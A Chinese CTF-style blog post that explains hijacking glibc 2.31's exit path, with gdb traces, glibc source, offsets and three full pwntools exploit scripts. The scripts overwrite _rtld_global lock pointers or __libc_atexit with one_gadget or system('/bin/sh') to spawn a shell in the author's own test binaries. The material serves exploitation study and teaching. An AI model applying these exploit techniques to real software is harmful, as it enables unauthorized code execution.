之前经常改 malloc_hook , realloc_hook,free_hook 为 one_gadget 来 get shell ,最近看到一种利用是改 exit hook(winmt师傅告诉我 其实没有exit hook,它是函数指针)。

改 exit_hook 有两种改法,一个是改为 one_gadget ,一个是改为 system ,再控制参数。

首先来看看 exit 这个函数里面究竟是如何调用的。(由于网上 libc版本多为 2.23 ,2.27我就用 2.31 的 libc 来做了实验)

进入 exit 之后我们发现它调用了 __run_exit_handlers ,我们单步进入 __run_exit_handlers。

 1    0x7ffff7e09bc5 <exit+5>       pop    rax
2 0x7ffff7e09bc6 <exit+6> mov ecx, 1
3 0x7ffff7e09bcb <exit+11> mov edx, 1
4 0x7ffff7e09bd0 <exit+16> lea rsi, [rip + 0x1a1b41] <0x7ffff7fab718>
5 0x7ffff7e09bd7 <exit+23> sub rsp, 8
6 ► 0x7ffff7e09bdb <exit+27> call __run_exit_handlers <__run_exit_handlers>
7 rdi: 0x0
8 rsi: 0x7ffff7fab718 (__exit_funcs) —▸ 0x7ffff7fad980 (initial) ◂— 0x0
9 rdx: 0x1
10 rcx: 0x1
11
12 0x7ffff7e09be0 <on_exit> endbr64
13 0x7ffff7e09be4 <on_exit+4> push r12
14 0x7ffff7e09be6 <on_exit+6> push rbp
15 0x7ffff7e09be7 <on_exit+7> push rbx
16 0x7ffff7e09be8 <on_exit+8> test rdi, rdi

我们发现 __run_exit_handlers 又会调用 _dl_fini 函数,我们再单步进入。

1    0x7ffff7e1ea0a <__run_exit_handlers+218>    mov    rdi, qword ptr [rax + 0x20]
2 0x7ffff7e1ea0e <__run_exit_handlers+222> mov qword ptr [rax + 0x10], 0
3 0x7ffff7e1ea16 <__run_exit_handlers+230> mov esi, ebp
4 0x7ffff7e1ea18 <__run_exit_handlers+232> ror rdx, 0x11
5 0x7ffff7e1ea1c <__run_exit_handlers+236> xor rdx, qword ptr fs:[0x30]
6 ► 0x7ffff7e1ea25 <__run_exit_handlers+245> call rdx <_dl_fini>
7
8 0x7ffff7e1ea27 <__run_exit_handlers+247> jmp __run_exit_handlers+106 <__run_exit_handlers+106>

看一下 _dl_fini 的源码得知,会调用 rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive 函数,并且有一个 GL(dl_load_lock) 的传参。


void
_dl_fini (void)
{
/* Lots of fun ahead. We have to call the destructors for all still
loaded objects, in all namespaces. The problem is that the ELF
specification now demands that dependencies between the modules
are taken into account. I.e., the destructor for a module is
called before the ones for any of its dependencies. To make things more complicated, we cannot simply use the reverse
order of the constructors. Since the user might have loaded objects
using `dlopen' there are possibly several other modules with its
dependencies to be taken into account. Therefore we have to start
determining the order of the modules once again from the beginning. */ /* We run the destructors of the main namespaces last. As for the
other namespaces, we pick run the destructors in them in reverse
order of the namespace ID. */
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock)); unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0
#ifdef SHARED
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));
 

rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive 的定义:

# define __rtld_lock_lock_recursive(NAME) \
GL(dl_rtld_lock_recursive) (&(NAME).mutex) # define __rtld_lock_unlock_recursive(NAME) \
GL(dl_rtld_unlock_recursive) (&(NAME).mutex)
#else
# define __rtld_lock_lock_recursive(NAME) \
__libc_maybe_call (__pthread_mutex_lock, (&(NAME).mutex), 0) # define __rtld_lock_unlock_recursive(NAME) \
__libc_maybe_call (__pthread_mutex_unlock, (&(NAME).mutex), 0)
#endif

进入之后找到调用的两个关键函数  rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive,并且在调用之前会把某个地址里的值赋给 rdi。

   0x7ffff7fe0d7d <_dl_fini+45>     lea    rbx, [r12 + r12*8]
0x7ffff7fe0d81 <_dl_fini+49> lea rax, [rip + 0x1c2d8] <0x7ffff7ffd060>
0x7ffff7fe0d88 <_dl_fini+56> shl rbx, 4
0x7ffff7fe0d8c <_dl_fini+60> add rbx, rax
0x7ffff7fe0d8f <_dl_fini+63> jmp _dl_fini+106 <_dl_fini+106>
↓
► 0x7ffff7fe0dba <_dl_fini+106> lea rdi, [rip + 0x1cba7] <0x7ffff7ffd968>
0x7ffff7fe0dc1 <_dl_fini+113> call qword ptr [rip + 0x1d1a1] <rtld_lock_default_lock_recursive>
1 pwndbg> x/gx 0x7ffff7ffd968
2 0x7ffff7ffd968 <_rtld_global+2312>: 0x0000000000000000
   0x7ffff7fe0ec0 <_dl_fini+368>    mov    ecx, 1
0x7ffff7fe0ec5 <_dl_fini+373> call _dl_sort_maps <_dl_sort_maps> 0x7ffff7fe0eca <_dl_fini+378> lea rdi, [rip + 0x1ca97] <0x7ffff7ffd968>
0x7ffff7fe0ed1 <_dl_fini+385> call qword ptr [rip + 0x1d099] <rtld_lock_default_unlock_recursive>

那个地址其实是结构体 _rtld_global ,里的一部分 ,存在于_dl_load_lock 里,是 _rtld_global._dl_load_lock.mutex.__size的地址。

 1 _dl_load_lock = {
2 mutex = {
3 __data = {
4 __lock = 0,
5 __count = 0,
6 __owner = 0,
7 __nusers = 0,
8 __kind = 1,
9 __spins = 0,
10 __elision = 0,
11 __list = {
12 __prev = 0x0,
13 __next = 0x0
14 }
15 },
16 __size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>,
17 __align = 0
18 }
19 },

由此我们可以想到两个方法来 get shell 一个是改 rtld_lock_default_lock_recursive 或 rtld_lock_default_unlock_recursive 为 one_gadget , 另一个更通用就是改 rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive 为 system ,并且把 _rtld_global._dl_load_lock.mutex的值改为 /bin/sh\x00。

找到他们相对于 _rtld_global 偏移

  _dl_rtld_lock_recursive = 0x7ffff7fd0150 <rtld_lock_default_lock_recursive>,
_dl_rtld_unlock_recursive = 0x7ffff7fd0160 <rtld_lock_default_unlock_recursive>,
0x7ffff7ffdf60 <_rtld_global+3840>:    0x0000000000000000    0x00007ffff7fd0150
0x7ffff7ffdf70 <_rtld_global+3856>: 0x00007ffff7fd0160 0x0000000000000000
0x7ffff7ffd968 <_rtld_global+2312>:    0x0000000000000000

我分别写了两个相应的任意地址写的漏洞程序来测试是否可行。

第一个改为one_gadget,我放了一个任意地址写。

exp: _rtld_global 与的 ld 的偏移不变,而 ld 与 libc 的偏移也不变,故我们把 libc 与 ld 都加载进去。
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug' s = process('./exit_onegadget')
elf = ELF('./exit_onegadget')
libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so')
ld = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-2.31.so') printf_addr = int(s.recv(14),16)
libc_base = printf_addr - libc.sym['printf']
#gdb.attach(s)
ld_base = libc_base + 0x1f4000
_rtld_global = ld_base + ld.sym['_rtld_global']
_dl_rtld_lock_recursive = _rtld_global + 0xf08
_dl_rtld_unlock_recursive = _rtld_global + 0xf10
#_dl_rtld_lock_recursive = 0x7ffff7fd0150
#_dl_rtld_unlock_recursive = 0x7ffff7fd0160 onegadget = [0xe6aee,0xe6af1,0xe6af4]
one_gadget = libc_base + onegadget[0]
success('one_gadget=>' + hex(one_gadget)) s.send(p64(_dl_rtld_lock_recursive))
s.send(p64(one_gadget)) s.interactive()
'''
0xe6aee execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL 0xe6af1 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL 0xe6af4 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''

第二个改为 system 和 /bin/sh\x00 我放了两个任意地址写。

exp:

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug' s = process('./exit_system')
elf = ELF('./exit_system')
libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6')
ld = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-2.31.so') printf_addr = int(s.recv(14),16)
libc_base = printf_addr - libc.sym['printf']
#gdb.attach(s)
ld_base = libc_base + 0x1f4000
_rtld_global = ld_base + ld.sym['_rtld_global']
_dl_rtld_lock_recursive = _rtld_global + 0xf08
_dl_rtld_unlock_recursive = _rtld_global + 0xf10
_dl_load_lock = _rtld_global + 0x908
#_dl_rtld_lock_recursive = 0x7ffff7fd0150
#_dl_rtld_unlock_recursive = 0x7ffff7fd0160 s.send(p64(_dl_rtld_lock_recursive))
s.send(p64(libc_base + libc.sym['system']))

s.send(p64(_dl_load_lock))
s.send(b'/bin/sh\x00') s.interactive()

============================================================================================================================

之后winmt师傅告诉我他发现了一个新的小trick,tql tql(我只是 winmt 的搬运工)

关键源码:


  if (run_list_atexit)
RUN_HOOK (__libc_atexit, ()); _exit (status);

void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true);
}
libc_hidden_def (exit)

extern void __run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit)
attribute_hidden __attribute__ ((__noreturn__));

由这两行他说可以改掉 __libc_atexit 来实现 get shell ,实际上经过测试确实可行。

优点是任意地址改时比上面的操作简单,所改函数就在 libc 里,而不是在 ld 里。

缺点是无法加参数,能不能成功取决于栈结构是否匹配 one_gadget。

可以用 one_gadget 的那个程序来试试这种方法。

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug' s = process('./a')
libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6') printf_addr = int(s.recv(14),16)
libc_base = printf_addr - libc.sym['printf'] onegadget = [0xe6aee,0xe6af1,0xe6af4]
one_gadget = libc_base + onegadget[0]
success('one_gadget=>' + hex(one_gadget)) s.send(p64(libc_base + 0x1ED608))
s.send(p64(one_gadget)) s.interactive()

附件

提取码:1jsi

exit hook的更多相关文章

  1. ACE - ACE_Task源码剖析及线程池实现

    原文出自http://www.cnblogs.com/binchen-china,禁止转载. 上篇提到用Reactor模式,利用I/O复用,获得Socket数据并且实现I/O层单线程并发,和dispa ...

  2. 基于TP框架的ThinkCMF,控制器display方法源码分析

    昨天在写代码的时候,看见写了无数次的模版渲染方法:$this->display(),突然很想弄清楚它是如何实现的. 今天不忙,就分析了一下. class TestController exten ...

  3. JNI(5)The Invocation API

    调用API允许软件提供商加载Java VM 到任意的本地应用中.供应商可以提供支持Java的应用程序而无需链接Java VM的代码. 概述 下面代码展示了通过调用API如何使用函数.这个例子中C++代 ...

  4. c++ 跨平台线程同步对象那些事儿——基于 ace

    前言 ACE (Adaptive Communication Environment) 是早年间很火的一个 c++ 开源通讯框架,当时 c++ 的库比较少,以至于谈 c++ 网络通讯就绕不开 ACE, ...

  5. svn Error: post-commit hook failed (exit code 127) with output

    Command: Commit Modified: C:\Users\xsdff\Desktop\project\index.html Sending content: C:\Users\xsdff\ ...

  6. SVN提交时报错:Commit blocked by pre-commit hook (exit code 1) with no output.

    可能的原因: 提交代码的SVN命令中,Comment长度短了.参考:http://tortoisesvn.net/docs/nightly/TortoiseSVN_en/tsvn-howto-minl ...

  7. svn 提交报错post-commit hook failed (exit code 23) with output

    svn 提交文件,hook同步更新报权限错误 排查后可能原因是被同步的服务器 selinux 已开启. 查看状态命令:/usr/sbin/sestatus -v  #如果SELinux status参 ...

  8. svnserver hook python

    在使用中可能会遇到的错误排除 :1.Error: svn: 解析"D:\www\test"出错,或svn: E020024: Error resolving case of 'D: ...

  9. 对于System.exit(0)和System.exit(1)的一般理解

    public static void exit(int status) 终止当前正在运行的 Java 虚拟机.参数用作状态码:根据惯例,非 0 的状态码表示异常终止. 该方法调用 Runtime 类中 ...

随机推荐

  1. 记一次ssh连接慢

    2020-03-28日机房搬迁完后,发现有一台60服务器ssh连接特别慢,但是其他服务器正常; 下面是解决过程: vim /etc/ssh/sshd_config       (编辑配置文件) 查找F ...

  2. 【C#】【假条生成系统】【单位剖析】如何判断在文本框输入了几个人名?

    我们规定,人名和人名之间使用顿号隔开 那么, 1个人,就是0个顿号 2个人,就是1个顿号 3个人,就是2个顿号 -- 所以我们可以判断文本框中顿号的出现次数. 出现0次,则为1人,出1次,则为两人. ...

  3. AT1980 [AGC001B] Mysterious Light 题解

    # 题意:高桥 くん 有一个边长为 N 的三枚镜子构成的正三角形 , 顶点为 a, b, c. 他有一个超级步枪 , 放在 AB 段的P点上,使得 AP=X . 并沿着平行于 BC 的方向发射一道光 ...

  4. PostgreSql数据库安全加固

    1.确保通过"主机" TCP / IP套接字登录已正确配置 描述 大量的身份验证方法可用于使用 TCP / IP套接字,包括: ?信任 ? 拒绝 ?md5 ?scram-sha-2 ...

  5. Python matplotlib绘图设置图例

    一.语法简介 plt.legend(loc=2,edgecolor='red',facecolor='green',shadow='True',fontsize=10) #edgecolor 图例边框 ...

  6. Windows下安装xampp的PHP扩展(redis为例)

    (1)PHP的windowns扩展下载网址:https://windows.php.net/downloads/pecl/releases/ (2)Ctrl+f查询你要下载的扩展名 注意:扩展的版本要 ...

  7. 任务日历关联(Project)

    <Project2016 企业项目管理实践>张会斌 董方好 编著 有时候吧,一件大事是由N件小事组成的,而这N件小事当中,不是每件事都可以在周末停下来的,当然也不是所有的事都必须在周末完成 ...

  8. centos7 ssh 提示/bin/bash No such file or directory 【ldd命令理解】

    现象:客户报障ssh无法登陆.提示/bin/bash No such file or directory 排查:进入单用户模式 linux16 行ro替换 rw init=/sysroot/bin/s ...

  9. 磁盘分区级文件系统丢失找回 testdisk

    故障修复步骤: 1. 检查磁盘分区级文件系统确实不在: 2. 云主机内部下载testdisk工具修复 yum install testdisk -y 3. 执行命令testdisk /dev/vdc进 ...

  10. 在Winform项目和Web API的.NetCore项目中使用Serilog 来记录日志信息

    在我们常规的调试或者测试的时候,喜欢把一些测试信息打印在控制台或者记录在文件中,对于.netframework项目来说,我们输出控制台的日志信息习惯的用Console.WriteLine来输出查看,不 ...